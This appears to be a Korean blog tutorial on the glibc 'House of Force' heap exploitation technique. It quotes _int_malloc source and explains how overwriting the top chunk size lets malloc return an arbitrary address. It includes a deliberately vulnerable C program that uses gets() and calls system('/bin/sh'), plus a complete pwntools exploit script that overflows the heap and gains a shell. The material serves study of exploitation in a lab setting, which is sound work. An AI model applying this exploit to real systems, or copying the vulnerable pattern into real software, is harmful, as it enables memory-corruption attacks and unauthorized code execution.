static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
...
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
...
use_top:
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
...
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}
_init_malloc 함수에서 top chunk를 관리하는데,
top chunk 주소(victim)의 값으로 크기(chunksize(victim))를 구하고 이 size가 할당 요청받은 크기인 nb보다 크거나 같은지 검사한다.
topchunk_size >= nb: 힙 영역에 할당한다.
topchunk_size < nb: sysmalloc 통해 추가적으로 영역을 매핑해서 할당한다.
공격방법: topchunk의 size를 2^64-1(64bit) / 2^32-1(32bit)로 조작해서 임의주소 - topchunk 주소 - 0x10 크기의 힙 청크를 할당하고 한번 더 힙 청크 할당 시 임의 주소에 할당한다.
할당을 원하는 주소가 0x8로 정렬되어 있을 경우: 임의주소 - topchunk 주소 - 0x10 - 0x8
-> 할당받기 원하는 주소의 하위 바이트가 0x48이면 하위바이트가 0x40인 주소 영역에 할당받을 수 있다.
힙 청크는 메타데이터 크기인 0x10바이트로 정렬되어 있으므로
topchunk 주소 = topchunk 주소 + 할당 요청 크기
예제1
// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\n";
int main(){
char *buf1;
char *trash;
char *exploit;
__uint64_t* top_chunk_size_addr;
__uint64_t exploit_size = 0;
__uint32_t target_addr = ⌖
buf1 = malloc(0x100);
top_chunk_size_addr = buf1 + 0x108;
fprintf(stderr,"target : %s\n", target);
fprintf(stderr,"buf1 : 0x%x\n", buf1);
fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
*top_chunk_size_addr = 0xffffffffffffffff;
exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
trash = malloc(exploit_size);
exploit = malloc(0x100);
fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
strcpy(exploit, "exploited!!!!!!");
fprintf(stderr,"target : %s\n", target);
return 0;
}
예제2
// gcc -o force2 force2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
char* buf1;
char* buf2;
char* trash;
char malloc_size[21];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
buf1 = malloc(0x20);
write(1, &buf1, 8);
gets(buf1);
write(1, "input malloc_size : ", 19);
read(0, malloc_size, 21);
trash = malloc(strtoull(malloc_size, NULL, 10));
buf2 = malloc(0x100);
write(1, "write to target : ", 17);
read(0, buf2, 0x100);
if(overwrite_me == 0xdeadbeefcafebabe){
system("/bin/sh");
}
return 0;
}
<익스 시나리오>
1. 출력해주는 buf1 청크 주소로부터 top chunk 주소 계산한다.
- top chunk 주소 = buf1 주소 + 0x28
- 4바이트 출력해주고 8바이트 정렬해줘야 하므로 앞에 '\x00\x00\x00\x00'을 붙여준다.
2. buf1에 입력받는데 gets 함수로 입력받아서 BOF 취약점(힙 오버플로우) 존재한다. top chunk size를 덮는다.
- topchunk size = 0xffffffffffffffff
- buf1 = 'A'*0x20 + p64(0) + p64(topchunk_size)
topchunk의 size가 2^64-1로 덮힌 것을 확인할 수 있다.
3. malloc_size 입력 후 해당 크기의 힙 청크 할당
- malloc_size = 0xffffffffffffffff & (원하는주소(0x601090) - topchunk 주소 - 0x10)
- 이후 원하는 주소(0x601090) 영역에 힙 청크를 할당할 수 있다.
사이즈가 0x111인 청크가 생긴 것을 확인할 수 있다.
p main_arena로 확인해보면 topchunk가 0x601090 청크의 다음에 위치한다.
4. 한번 더 힙 청크 할당
- 이때 원하는 주소에 힙 청크를 할당받을 수 있다.
- buf2가 해당 힙 포인터
5. buf2에 데이터 입력 시 0xdeadbeefcafebabe 입력해서 쉘 실행 조건을 맞춘다.
6. 쉘 획득
익스 코드
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./force2")
elf = ELF("./force2")
overwrite_me = elf.symbols['overwrite_me']
buf1 = u64(p.recv(4) + '\x00\x00'*2)
log.info("buf1: "+hex(buf1))
topchunk = buf1 + 0x28 #buf1 + chunksize + 0x8
log.info("topchunk: "+hex(topchunk))
topchunk_size = 0xffffffffffffffff
#overwrite topchunk size
p.sendline('A'*0x20 + p64(0) + p64(topchunk_size))
malloc_size = topchunk_size & (overwrite_me - topchunk - 0x10)
log.info("malloc_size: "+hex(malloc_size))
p.send(str(malloc_size))
# overwrite overwrite_me
p.send(p64(0xdeadbeefcafebabe))
gdb.attach(p)
# if case -> get shell
p.interactive()
_IO_FILE (0) | 2021.01.01 |
---|---|
tcache memory leak (0) | 2020.06.13 |
Unsafe Unlink (0) | 2020.06.12 |
Poison NULL Byte (0) | 2020.06.12 |
Unsorted bin attack (0) | 2020.06.11 |